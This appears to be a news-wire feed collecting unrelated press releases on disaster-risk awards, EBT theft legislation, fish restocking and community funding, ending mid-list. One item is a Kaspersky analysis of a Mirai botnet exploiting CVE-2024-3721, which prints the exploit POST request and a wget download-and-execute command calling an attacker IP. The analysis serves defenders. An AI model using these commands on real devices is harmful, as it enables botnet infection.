These winners were announced at the Global Platform for Disaster Risk Reduction, in a vibrant Award Ceremony, packed with passionate candidates and their dedicated supporters, all gathered to celebrate some of the most outstanding contributions to disaster risk reduction.
- Mrutyunjay Mohapatra, Director General of the India Meteorological Department (IMD), is popularly known as “The Cyclone Man of India” for his exceptional contributions to tropical cyclone forecasting and warning systems. He has been instrumental in improving India’s disaster preparedness and significantly reducing casualties from tropical cyclones through advanced forecasting and early warning systems.
- Harkunti Pertiwi Rahayu is Professor of Disaster Aspect in Planning at the Institut Teknologi Sumatra and Chair of the Indonesian Disaster Expert Association. An internationally recognized leading expert in DRR, she chairs multiple international working groups on early warning and mitigation systems, disaster preparedness, developing people-centred early warning systems and capacity building, community awareness and preparedness.
- The Global Network of Civil Society Organisations for Disaster Reduction (GNDR) – winner in the organizational category – is the largest global network of organizations working to strengthen the resilience of people most at risk of disasters, assembling around 2000 organisations in 130 countries. GNDR has made significant contributions to the content and implementation of the Sendai Framework, and is a strong advocate for inclusive and all-of-society disaster risk management.
Under the expert moderation of Anita Erskine, Ghanaian broadcast personality and sustainability champion, the ceremony honored those who have made exceptional strides in improving resilience to disasters.

Innovation and technology for inclusive resilience

This year’s theme, “Connecting science to people: democratizing access to innovation and technology for disaster resilient communities,” captured the spirit of innovation and accessibility that drives modern disaster preparedness. With over 200 outstanding nominees received in two categories, Individuals and Organizations, all candidates demonstrated incredible depth of talent and dedication within the global DRR community.

Special Representative of the UN Secretary-General for Disaster Risk Reduction Kamal Kishore delivered heartfelt gratitude to the community present and those watching online, acknowledging the tireless hard work and unwavering dedication of all those nominated for the award.

“This year’s award theme recognizes the importance of innovation and technology to advance resilience – and do it in a very inclusive and democratic way…. the efforts where science has been connected to society to serve the needs of people, those who are most vulnerable,” Mr Kishore said.

“I ask that we all ask and reflect on how we can support and scale up the vital efforts of these remarkable individuals and institutions,” he said.

The Nippon Foundation, whose generous support makes these awards possible, was proudly represented by Mr. Yosuke Ishikawa, Programme Director.

Mr. Kishore praised the high standard and exceptional achievements of all the nominees for the award, adding that the judges had to make difficult choices in selecting the winners from a group of such caliber. As a result they decided to recognize the following runners-up as highly commended.

Individuals:
- Rob Hopkins “Radio Rob” from Yukon, Canada
- Professor Virginia Murray from Global Disaster Risk Reduction at UK Health Security Agency, UK
- Shee Kupi Shee from Disaster Management and Peace Building in Lamu County, Kenya
- Kelvin Mashisia Shikuku from the International Livestock Research Institute in Kenya
Organization:
- The World Institute on Disability (WID), Global/US
Inspiration for us all

The visionary work of these award winners demonstrates that disaster risk reduction is not just about preparation—it’s about building resilient communities where innovation meets humanity. Their dedication shows us that every contribution, no matter how small, can create ripples of positive change that protect lives and livelihoods.

Whether you’re a researcher, community leader, or simply someone who cares about making the world safer, there’s a place for you in disaster risk reduction. The challenges the world faces require diverse perspectives, innovative solutions, and collaborative efforts. Everyone is encouraged to continue the DRR journey and be part of the solution that builds a more resilient world for all.

The next edition of the Sasakawa Awards will be held at the Global Platform in three years’ time, and the jury will be thrilled to read even more inspiring stories of hope and action!

MIL OSI United Nations News –
June 6, 2025
MIL-OSI United Nations: A financial backbone for stability, not band-aids for crises
Source: UNISDR Disaster Risk Reduction

The impacts of disasters are woven into all aspects of life.

Impacts send shockwaves across all systems – essential services, infrastructure, health, education and economic. They interact with climate change, conflict, economic fragility, and inequality – amplifying risks across systems.

However, even though disaster costs are rising, financing for disaster risk reduction (DRR) is largely fragmented, short-term, and reactive.

“Let us be clear: financing disaster risk reduction is not a cost – it is an investment, with benefits across different agendas: from protecting development, to reducing humanitarian needs, and achieving climate and environmental goals.”

Kamal Kishore, Special Representative of the UN Secretary-General for Disaster Risk Reduction

To protect development gains from being eroded by a spiral of deepening crises, countries must systematically embed risk reduction in national budget processes – across all levels of government. This will require a raft of innovative financing mechanisms, public-private partnerships and novel inclusive approaches to ensure that investments provide benefits to those who need them most.

At a ministerial roundtable session at the Global Platform for Disaster Risk Reduction, Accelerating Financing for Resilience: Tailored Solutions for Disaster Risk Reduction, ministers from 43 countries, together with the World Bank and UNDP, discussed the challenges and opportunities they face when financing resilience building; their experiences, successes and solutions; and concrete proposal for inclusive and equitable financing strategies.

The ministers acknowledged that there is a deficit in global financing for disaster preparedness. The Philippines, South Sudan, Fiji, Barbados, and members of the African Union, amongst others, drew connections between financial planning for disaster risk and broader climate financing, noting the important role of resources like the Green Climate Fund, the Adaptation Fund, and the Loss and Damage Fund.

Financing resilience is public investment

Too often, public budgets only respond after disaster strikes. The consequence is mounting human and economic losses, especially in vulnerable countries.

“The root causes of disaster risk – inequality, misaligned financial incentives, insufficient risk governance – remain unaddressed in many development models.”

– UNDRR’s 2025 Global Assessment Report on Disaster Risk Reduction (GAR 2025)

To address this will require a fundamental rethink, positioning disaster risk reduction firmly in development finance.

“We must support developing countries in establishing national disaster risk reduction financing systems that are tailored to their development priorities.”

– Kamal Kishore at the ministerial roundtable.

These systems must be pro-active, not reactive, and aligned with each country’s unique development goals, while integrating a firm understanding of systemic and cascading risks.

India, for example, is taking a rule-based approach with pre-determined allocations that flow from national to district levels. Japan and Norway noted that they are both mainstreaming DRR into private sector practice, with Norway advocating for legal requirements for DRR in corporate strategies.

The GAR 2025 findings reinforce this more holistic approach, recommending that countries reconfigure their financial and economic governance to create more favourable conditions for DRR investments, especially by shifting public spending “away from short-term consumption and toward resilience-building.”

Integrating disaster risk financing into budgets

Resilient budgets require more than a single DRR line item.

Mr. Kishore highlighted the need to embed risk considerations throughout public financial planning: “This includes exploring ways of embedding resilience into budget planning at every level.”

That means sectoral ministries, infrastructure agencies, local governments, and fiscal authorities must all adopt risk-informed budget planning. This shift is not just about earmarking funds, but about transforming how development priorities are selected, financed, and measured.

Countries including Brazil are calling for a global task force on effective DRR financing, while the Philippines proposed a global financing mechanism to support disaster resilience efforts, recognising the need to anchor DRR in fiscal systems.

In a conversation with Deputy Secretary-General Amina J. Mohammed, Mr Kishore noted that we need a coordinated, global system making the appropriate mechanisms accessible to those who need them most:

“We have the tools to assess risk and see how much investment will lead to what kind of reduction in risk. We really need to make it a comprehensive system – where national budgets, whether countries have high income or low income – take into account the kind of disaster risk they face and systematically invest in it.”

Ms. Mohammed noted the need to develop more innovative financing mechanisms as a key priority during the Global Platform.

“We need to get to a space where we have more tools accessible to us to do it, and that again is a big challenge for this week.”

Tackling systemic challenges

For many countries, even those with the political will to invest in reducing disaster risk, systemic barriers stand in their way. These include:
- Weak institutional frameworks for DRR investment planning.
- Limited understanding of how DRR links to fiscal risk.
- Inadequate incentives to prioritise risk reduction in capital budgeting.
DRR financing also needs to penetrate to local levels, enabling resources to reach the communities that need them most. Without fiscal devolution, even the most risk-informed national strategies will fall short in implementation.

Incentives for private sector investment

Initiatives to finance resilience must move away from reliance on public coffers.

This involves building stronger partnerships with the private sector, and cultivating greater awareness of the benefits of such investments and the dangers of neglecting them.

“We must enhance partnerships with the private sector, as it is a major source of financing that is often not guided by an understanding of disaster risks,” Kamal Kishore said.

The financial sector can play a catalytic role by developing innovative instruments, such as resilience bonds, blended finance structures, and a broad spectrum of insurance solutions. Several countries are already putting such innovations into practice:
- China described its rollout of agricultural insurance, and its investment of $154 billion in property insurance.
- Kiribati described its community-based insurance for drought programme providing payouts to farmers and fishers.
- Norway highlighted parametric insurance schemes.
- The Bahamas explained how they use their disaster-related expenditures tracking tool to map pre-disaster investments and post-disaster costs.
To mainstream such approaches, updated regulatory frameworks, disclosure standards, and fiscal incentives are needed to guide private capital toward risk reduction and embed DRR into national financial systems.

Risk-aware international finance

The global community must step up to encourage investors, both public and private, to prioritize DRR financing.

“We must rally the international community to prioritize investment in disaster risk reduction. This includes dedicating a larger portion of assistance funding to disaster risk reduction and ensuring all development funding is risk informed.”

– Kamal Kishore

Official development assistance (ODA) and climate finance must be structured and delivered accordingly. Risk-blind development projects, even when well-intentioned, can inadvertently amplify vulnerability.

Several countries at the roundtable – including Cambodia, Paraguay, and Montenegro – highlighted the importance of integrating DRR into social investment strategies, including gender-responsive financing, elderly-focused social protection, and health system resilience. Czechia called for embedding DRR funding across the humanitarian-development nexus.

“The upcoming Fourth International Conference on Financing for Development presents a critical opportunity to advance all these priorities to ensure all development is safe from disasters.”

– Kamal Kishore

The shift toward DRR financing within national budgets is technically feasible, economically wise, and morally urgent. As extreme weather events, pandemics, and conflict interact in increasingly complex ways, the costs of inaction grow exponentially.

By embedding DRR in national budgets, governments protect long-term development investments, and communities gain tools and funding for local resilience.

Additionally, the private sector becomes a co-architect of safety, increasing its stake in resilience building efforts, and international aid transitions from offering band-aids to repeated crises to providing a backbone for lasting stability.

“We must acknowledge that resilience is a long-term economic necessity, and it does have the best return on investment.”

– Amina Mohammed

MIL OSI United Nations News –
June 6, 2025
MIL-OSI USA: Bonamici, Goldman Lead Bill to Protect Student Access to Summer Meals
Source: United States House of Representatives – Representative Suzanne Bonamici (1st District Oregon)

WASHINGTON, DC [6/5/25] –Today Congresswoman Suzanne Bonamici (D-OR) and Congressman Dan Goldman (D-NY) introduced legislation to protect access to nutritious meals for children during the summer months.

Families of students eligible for free or reduced-price school meals can receive a $40 per month per child grocery benefit during the summer through the Summer Electronic Benefit Transfer (S-EBT) Program. This program has successfully reduced hunger during the summer months, but some EBT cardholders have had their benefits stolen by skimming devices illegally installed on point-of-sale terminals.

The Mitigating Electronic Access Losses for Students (MEALS) Act will allow for the replacement of S-EBT benefits that have been targeted by scammers. Currently, EBT cardholders have limited protection and may lose all of their benefits if criminals skim their information and then cash out their benefits.

“Students should not have to go hungry if their families fall prey to scammers who install illegal skimming devices at the places where they buy groceries,” said Congresswoman Suzanne Bonamici. “The MEALS Act is commonsense legislation that will prevent the theft of S-EBT benefits and restore those that are stolen. This legislation will help keep hungry kids fed when school is out during the summer.”

“It is unconscionable that any child should go hungry in the wealthiest nation on earth,” Congressman Dan Goldman said. “As lawmakers, we have a moral and legislative duty to ensure that every child has access to nutritious food year-round, especially during the summer months, when free or reduced-price school meals are unavailable. The Summer EBT program is a proven tool for combating food insecurity, yet far too often, these essential benefits are stolen through no fault of the families who rely on them. This is unacceptable. We must create a clear and efficient process to replace skimmed Summer EBT benefits quickly and in their entirety so that no child suffers due to theft or bureaucratic failure.”

This is the second year of Oregon’s Summer EBT program. On May 22, 2025, around 336,000 children received the grocery benefit to purchase nutritious meals during the summer break.

The MEALS Act will:
1. Require the Secretary of Agriculture to
  1. Issue guidance to State agencies and covered Indian Tribal organizations (ITOs) in detecting and preventing theft of summer EBT benefits, and issue a rule for participating State agencies and ITOs to take appropriate security measures and implement procedures for the replacement of summer EBT benefits;
  2. Coordinate with the Office of Family Assistance at the U.S. Department of Health and Human Services and the Attorney General to determine how summer EBT benefits are being stolen and establish measures to prevent summer EBT benefits from being stolen and establish standard reporting methods;
  3. Submit a report to Congress that includes the prevalence of summer EBT theft and measures establishes by the Secretary and AG;
  4. Replace stolen summer EBT benefits, and State agencies and covered ITOs to submit claims for replacement benefits that include a signed statement by the affected household, data reports on benefit theft, and planned use of benefit theft prevention measures;
2. Require GAO to submit a report to Congress that examines the risks related to summer EBT benefit payment system security and policy recommendations to improving the summer EBT payment system.
A summary of the Meals Act can be found here, and the full text can be found here.

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MIL OSI USA News –
June 6, 2025
MIL-OSI Asia-Pac: Fish restocking exercise held on National Fish Releasing Day 2025 (with photos)

Source: Hong Kong Government special administrative region

The Agriculture, Fisheries and Conservation Department (AFCD), the Urban Planning and Natural Resources Bureau of Shenzhen Municipality, and the Ocean Development Bureau of Shenzhen Municipality today (June 6) jointly organised the National Fish Releasing Day 2025 fish restocking exercise concurrently with other exercises nationwide, with an aim to restore and enhance aquatic resources as well as to raise public awareness of the conservation of aquatic resources and the need to improve aquatic habitats.

Speaking at the launching ceremony, the Under Secretary for Environment and Ecology, Miss Diane Wong, said, “Today is the National Fish Releasing Day designated by the Ministry of Agriculture and Rural Affairs. Hence, fish restocking exercises are launched nationwide concurrently to restore and enhance aquatic resources. We are actively responding to this initiative and are conducting restocking exercises jointly with the Urban Planning and Natural Resources Bureau of Shenzhen Municipality and the Ocean Development Bureau of Shenzhen Municipality for the first time.”

Miss Wong added that the Blueprint for the Sustainable Development of Agriculture and Fisheries, released by the Government in collaboration with the agriculture and fisheries sectors in December 2023, proposed the implementation of restocking to restore and enhance fisheries resources, as well as to strengthen public education, arouse public awareness of the conservation of marine resources and environment, and enhance understanding of the significance of restocking.

After the launching ceremony, AFCD representatives and some guests proceeded to Tung Ping Chau Marine Park (TPCMP) and Hong Kong waters adjacent to Shenzhen in Mirs Bay, where they released some 23 500 juvenile fish of native species, including Hong Kong grouper (Epinephelus akaara), star snapper (Lutjanus stellatus), black seabream (Acanthopagrus schlegelii), and two newly added species this year, yellowfin seabream (Acanthopagrus latus) and red seabream (Pagrus major). The released juvenile fish are from reputable hatcheries and in good health, with their broodstock originating from Hong Kong or the nearby South China Sea. Restocking is a science-based approach of releasing appropriate species to their natural environment, allowing them to grow and reproduce. TPCMP, with its diverse habitats including artificial reefs, coral communities, natural rocky reefs and boulders, provides a favourable habitat for these juvenile fish. Commercial fishing has been banned in this marine park. The AFCD will conduct underwater surveys regularly to monitor the condition of the released fish and will continue to monitor the overall status of fishery resources in Hong Kong.

The fish restocking exercise, supported by the Hong Kong Buddhist Association, the Hong Kong Fishermen Consortium, Ocean Park Hong Kong and the Ocean Park Conservation Foundation Hong Kong, brought together about 150 students, representatives from religious groups, fishermen’s associations and green groups, etc. The AFCD will also arrange for the public and students to take part in other restocking exercises later this year, and strengthen collaboration with various groups to organise more educational activities for the public and schools, share information about restocking, as well as provide technical advice to groups interested in conducting restocking in local waters.

The AFCD reminds the public to think carefully before participating in animal release activities to avoid affecting the ecological environment or causing unnecessary suffering to animals. The public may consider participating in science-based restocking or other charitable activities as alternatives to animal releases.

MIL OSI Asia Pacific News –

June 6, 2025
MIL-OSI New Zealand: Government congratulates Ahuwhenua Trophy winners

Source: New Zealand Government

Agriculture Minister Todd McClay and Māori Development Minister Tama Potaka have congratulated the winners of the 2025 Ahuwhenua Trophy and the Ahuwhenua Young Māori Farmer Award, recognising their excellence and leadership in Māori agribusiness.

The Northland-based Whangaroa Ngaiotonga Trust was awarded the 2025 Ahuwhenua Trophy for excellence in Māori sheep and beef farming at a gala dinner in Palmerston North tonight.

“Whangaroa Ngaiotonga Trust turned a struggling farm into a thriving 1,200-head bull beef operation, and it’s a clear example of what vision and hard work can achieve,” says Mr McClay.

“This award celebrates Māori excellence in farming and the kind of leadership that will help us double the value of exports in 10 years,” says Mr McClay.

Mr Potaka says the Ahuwhenua Trophy recognises excellence in farming know-how, as well as the wider role that Māori intergenerational farming entities play in our regional communities and in protecting the environment.

“Sheep and beef farms are the backbone of the Māori primary sector, valued at over $12 billion, and these awards honour the landowners, rangatira and kaimahi who keep that success going,” says Mr Potaka.

Te Tai Tokerau farm manager Coby Warmington took out the 2025 Ahuwhenua Young Māori Farmer Award for sheep and beef.

“Congratulations to the winner and all those who took part in this year’s competition.

“The prosperity and wellbeing farming generates for Iwi and Māori across the motu has far reaching impacts for communities, for whānau, for reinvesting back into marae and more. I tautoko the outstanding work these finalists are doing.”

Whakamihia ana e te Kāwanatanga ngā toa o te Tohutoa Ahuwhenua

Kua whakamihia e te Minita Ahuwhenua Todd McClay me te Minita Whanaketanga Māori Tama Potaka ngā toa whakaihuwaka o te Tohutoa Ahuwhenua me te Tohu Kaiahuwhenua Rangatahi Māori 2025, e āhukahuka ana i tō rātou kairangi, hiranga hoki i te mahi ahuwhenua Māori.

I whakawhiwhia ki te Whangaroa Ngaiotonga Trust nō te Taitokerau te Tohu Ahuwhenua 2025 mō te kairangi i te mahi pāmu Māori mō te hipi me te kau i te hākari whakanui i tū ki Te Papaioea i tēnei pō.

“I hurihia e te Whangaroa Ngaiotonga Trust te pāmu kūraruraru ki te whakahaere momoho me te 1,200 kau pūru, ka mutu, he tauira mārama o te mahi e taea ai e te wawata me te pukumahi,” te kī a Minita McClay.

“E whakanuia ana e tēnei tohu te kairangi Māori i te mahi pāmu me te momo ārahitanga e āwhina i a tātou ki te huarua i te uara o ngā hokotai i te tekau tau e tū mai nei,” te kōrero o Minita McClay.

E kī ana a Minita Potaka e āhukahuka ana te Tohutoa Ahuwhenua i te kairangi i te mātauranga pāmu, ka mutu, te wāhi whānui ake a te mahi pāmu ā-whakatipuranga Māori i ō tātou hapori ā-takiwā, mō te mahi tiaki taiao anō hoki.

“Ko te tuarā o te rāngai matua Māori ngā pāmu hipi me te kau, kei tōna $12 piriona te uara, ā, e whakamānawa ana ēnei tohu i ngā kaipupuri whenua, ngā rangatira me ngā kaimahi e whakapau kaha ana ki te hāpai tonu i taua angitu,” te kōrero a Minita Potaka.

I riro i te kaiwhakahaere pāmu o Te Taitokerau a Coby Warmington te Tohu Kaiahuwhenua Rangatahi Māori 2025 mō te hipi me te kau.

“Nei te mihi ki te toa, ka mutu, ki ngā tāngata katoa i whai wāhi mai ki te whakataetae i tēnei tau.

“He nui o te pānga o te tōnuitanga me te oranga e ahu mai ana i ngā mahi pāmu mā ngā Iwi me te iwi Māori puta noa i te motu mō ngā hapori, ngā whānau, hei whakahoki ki ngā marae me ngā āhuatanga i tua atu anō. Kei te tautoko au i ngā mahi mīharo e mahia mai ana e ēnei i tae ki te whiringa toa.”

MIL OSI New Zealand News –

June 6, 2025

MIL-OSI Banking: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

Source: Securelist – Kaspersky

Headline: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.

We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.

Exploitation

During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:

“POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1” 200 1671 “-” “Mozila/5.0”

1	“POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1” 200 1671 “-“ “Mozila/5.0”

The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.

cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

1	cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.

Malware implant – Mirai variant

The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.

The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai in many posts, so we’ll focus on the new features of this specific variant.

Data decryption

The data decryption routine in this variant is implemented as a simple RC4 algorithm.

The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177.

The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom DataDecrypted structure, which is a simple string list:

Data decryption routine

The global linked list with decrypted data is accessed whenever the malware needs particular strings.

Adding decrypted strings to the global list

Anti-VM and anti-emulation

To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the /proc directory, which is the proc filesystem on Linux.

Each process ID (PID) has its own folder containing useful information, such as cmdline, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

Process check

The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:

Allowed directories

Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.

Infection statistics

According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.

Conclusion

Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.

The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.

All Kaspersky products detect the threat as HEUR:Backdoor.Linux.Mirai and HEUR:Backdoor.Linux.Gafgyt.

Indicators of compromise

Host-based (MD5 hashes)
011a406e89e603e93640b10325ebbdc8
24fd043f9175680d0c061b28a2801dfc
29b83f0aae7ed38d27ea37d26f3c9117
2e9920b21df472b4dd1e8db4863720bf
3120a5920f8ff70ec6c5a45d7bf2acc8
3c2f6175894bee698c61c6ce76ff9674
45a41ce9f4d8bb2592e8450a1de95dcc
524a57c8c595d9d4cd364612fe2f057c
74dee23eaa98e2e8a7fc355f06a11d97
761909a234ee4f1d856267abe30a3935
7eb3d72fa7d730d3dbca4df34fe26274
8a3e1176cb160fb42357fa3f46f0cbde
8d92e79b7940f0ac5b01bbb77737ca6c
95eaa3fa47a609ceefa24e8c7787bd99
96ee8cc2edc8227a640cef77d4a24e83
aaf34c27edfc3531cf1cf2f2e9a9c45b
ba32f4eef7de6bae9507a63bde1a43aa
IPs
116.203.104[.]203
130.61.64[.]122
161.97.219[.]84
130.61.69[.]123
185.84.81[.]194
54.36.111[.]116
192.3.165[.]37
162.243.19[.]47
63.231.92[.]27
80.152.203[.]134
42.112.26[.]36

MIL OSI Global Banks –

June 6, 2025

MIL-OSI USA: Underwood Announces $26 Million for Local Priorities Selected for Community Project Funding

Source: United States House of Representatives – Congresswoman Lauren Underwood (IL-14)

JOLIET – Representative Lauren Underwood (IL-14), a member of the House Appropriations Committee, announced the projects in the 14th District selected to be submitted for consideration for Community Project Funding in FY2026.

If funded, the projects below will have extraordinary benefits for our community: ensuring access to safe and reliable drinking water, strengthening rural access to health care, preventing workplace exploitation, helping residents get jobs, providing vulnerable populations access to necessities like emergency shelter and food, and supporting parent-students by providing affordable childcare options in northern Illinois.

“Making sure that our community’s needs are reflected in federal funding has always been a top priority of mine in Washington,” said Underwood. “Our families will feel the enormous impact of these 15 projects every day. We’re making sure our drinking water is clean and safe across northern Illinois; strengthening access to quality health care in rural communities, providing parents affordable childcare options, and so much more. I look forward to working with my colleagues to bring these federal dollars home.”

FY25 projects that were selected by Members of Congress last year were not included in the funding bill passed earlier this year, and nearly all FY25 projects in the 14^th District are being resubmitted for FY26.

Community Project Funding is an initiative that allows Members of Congress to request direct funding for projects that benefit the communities they represent, coupled with strict transparency and ethics requirements. Projects are restricted to a limited number of federal funding streams, and only state and local governments and eligible non-profit entities are permitted to receive funding. In compliance with House Rules and Committee requirements, Underwood has certified that she and her immediate family have no financial interest in any of the projects selected. Underwood’s certification forms for the projects listed are available here, listed in alphabetical order.

Below are descriptions of the projects submitted for consideration, in alphabetical order by project sponsor:

Project Title: Bentley Road Pathway Connection

Project Sponsor: Plainfield Park District

Amount Requested: $1,300,000

Address of Sponsor: 23729 W. Ottawa St., Plainfield, IL 60544

Project Description and Justification: This funding would be used to develop 4 uninterrupted miles along the DuPage River into a pathway connecting parks, recreation areas, and small businesses in Will County. The pathway will serve as a vital link between existing multi-use trails at Riverside Parkway, Sunset Park, and Hammel Woods along the DuPage River corridor.

Project Title: Center for Parenting Students

Project Sponsor: Waubonsee Community College

Amount Requested: $600,000

Address of Sponsor: Route 47 at Waubonsee Drive, Sugar Grove, IL 60554

Project Description and Justification: This funding would support the creation of a new Center for Parenting Students’ at Waubonsee Community College. The center will provide crucial support for student parents, helping them balance their academic pursuits with childcare.

The Center will offer a welcoming environment with designated family-friendly consultation and meeting rooms. Additionally, lactation suites, changing rooms, and a dedicated feeding space will cater to the specific needs of parenting students. The Center will provide essential support services, access to books, toys, and tablets for children while their parents work on group projects or utilize computers and printers for academic work.

Project Title: City of Lockport Environmental Infrastructure Program

Project Sponsor: U.S. Army Corps of Engineers Chicago District

Amount Requested: $1,368,950

Address of Sponsor: 231 S. LaSalle Street, Suite 1500, Chicago, IL 60604

Project Purpose and Justification: This funding would be used for an environmental infrastructure project that will improve wastewater and stormwater management in the City of Lockport, Illinois.

Local infrastructure needs addressed by this project include the Bruce Road & SOS Children Village Utility Improvement Project, as the project includes the installation of a new lift station to serve the SOS Children Village.

Project Title: Clean Water Project in Oglesby, IL

Project Sponsor: City of Oglesby

Amount Requested: $1,020,800

Address of Sponsor: 110 East Walnut Street, Oglesby, IL 61348

Project Purpose and Justification: This funding will help replace 2,100 feet of water main lines currently impacted by lead and/or asbestos-cement within the City of Oglesby. The pipes pose significant risks to the public and their replacement will ensure clean drinking water, protect public health and safety, and generate long-term cost savings for the community of Ogelsby.

Project Title: Education for Parents Project

Project Sponsor: Northern Illinois University

Amount Requested: $1,000,000

Address of Sponsor: 1425 W Lincoln Hwy, Dekalb, IL 60115

Priority Project and Justification: This funding will be used to remodel and convert property at Northern Illinois University into a significantly larger child care center. The project will help the university hire new personnel and cover essential upgrades to ensure a safe and healthy environment for children; including roof, drainage, window, and flooring repairs, classroom painting, and a learning space renovation.

Project Title: Expanding Hope and Reducing Hunger in La Salle, IL

Project Sponsor: Illinois Valley Food Pantry

Amount Requested: $750,000

Address of Sponsor: 122 Wright Street, LaSalle, IL 61354

Project Purpose and Justification: This funding will help the food pantry expand their refrigeration and storage capacity, allowing them to serve more families in our community. Currently serving around 500 families monthly, the pantry is at capacity.

Project Title: Grand Prairie Water Commission Infrastructure Construction for Northern Illinois

Project Sponsor: City of Joliet

Amount Requested: $5,000,000

Address of Sponsor: 150 W Jefferson Street, Joliet, IL 60432

Project Purpose and Justification: This funding will build 7.5 miles of underground water transmission main to deliver finished drinking water from the Chicago Department of Water Management to communities in the southwest suburbs.

The City of Joliet is part of the Grand Prairie Water Commission, a group of six communities that will utilize Lake Michigan as an alternative water source.

Project Title: Law Enforcement Collaboration to Prevent Workplace Crime in Will County, IL

Project Sponsor: Joliet Township

Amount Requested: $339,346

Address of Sponsor: 1220 Richards St., Suite A, Joliet, IL 60435

Project Purpose and Justification: This funding will be used by Joliet Township to hire one attorney and two project staff dedicated to collaborating with local organizations and law enforcement to address workplace exploitation across Will County and the surrounding area. The project will connect victims of workplace abuse and violence to victim services in northern Illinois communities.

Project Title: Lead-Free Water Project in Aurora, IL

Project Sponsor: City of Aurora

Amount Requested: $3,500,000

Address of Sponsor: 44 E. Downer Place, City of Aurora, IL 60507

Project Purpose and Justification: This funding will be used to remove and replace all remaining lead water service lines within the City of Aurora, providing safe, potable water for the community. An estimated 120 lead service lines for homes, impacting nearly 400 residents, are expected to be replaced. The pipes pose significant risks to the public and their replacement will ensure clean drinking water, protect public health and safety, and generate long-term cost savings for the community.

Project Title: Lockport Township Emergency Shelter

Project Sponsor: Lockport Township

Amount Requested: $2,235,015

Address of Sponsor: 1463 Farrell Road, Lockport, Illinois, 60441

This funding will be used to support and protect the local economy in Fairmont, Lockport, and the surrounding communities in Will County by converting space within an existing building in Lockport, Illinois into a permanent emergency shelter and regional hub for first responder safety training. Specifically, this project would fund renovations that would enable the shelter to have a full-service generator, weather-resistant roof, reinforced windows and doors, modern HVAC, emergency radios, cot beds, and ADA-compliant accommodation for up to 205 evacuees and personnel.

Project Title: Reducing Recidivism and Supporting Reentry in Will County, IL

Project Sponsor: Will County Workforce Services Division—LWIA—10

Amount Requested: $600,000

Address of Sponsor: 2400 Glenwood Ave, Joliet, IL 60435

Project Purpose and Justification: This project will provide work training services to justice impacted individuals, increasing public safety and reducing the recidivism rate in Will County, IL. The program will offer participants the option to participate in work-based training or education, or to receive work-based training that leads to full-time employment. Through this program, formerly incarcerated individuals will obtain skills that will help them find and secure meaningful employment.

Project Title: Securing A Sustainable Water Source in Oswego, IL

Project Sponsor: Village of Oswego

Amount Requested: $2,640,000

Address of Sponsor: 100 Parkers Mill, Oswego, IL 60543

Project Purpose and Justification: This funding will support the construction of the three receiving stations, which are integral to the success of the Lake Michigan Water Source Project. The receiving stations will allow Montgomery, Oswego, and Yorkville to store and prepare more water from Lake Michigan. Each City requires one receiving station to prepare and store safe water, and to establish a proper connection with the lake.

The communities of Montgomery, Oswego, and Yorkville will join the DuPage Water Commission, a group of 30 communities that utilize Lake Michigan as an alternative water source.

Project Title: Senior Outreach and Care Project

Project Sponsor: White Oak Library District

Amount Requested: $3,250,000

Address of Sponsor: 201 W. Normantown Rd., Romeoville, IL 60446

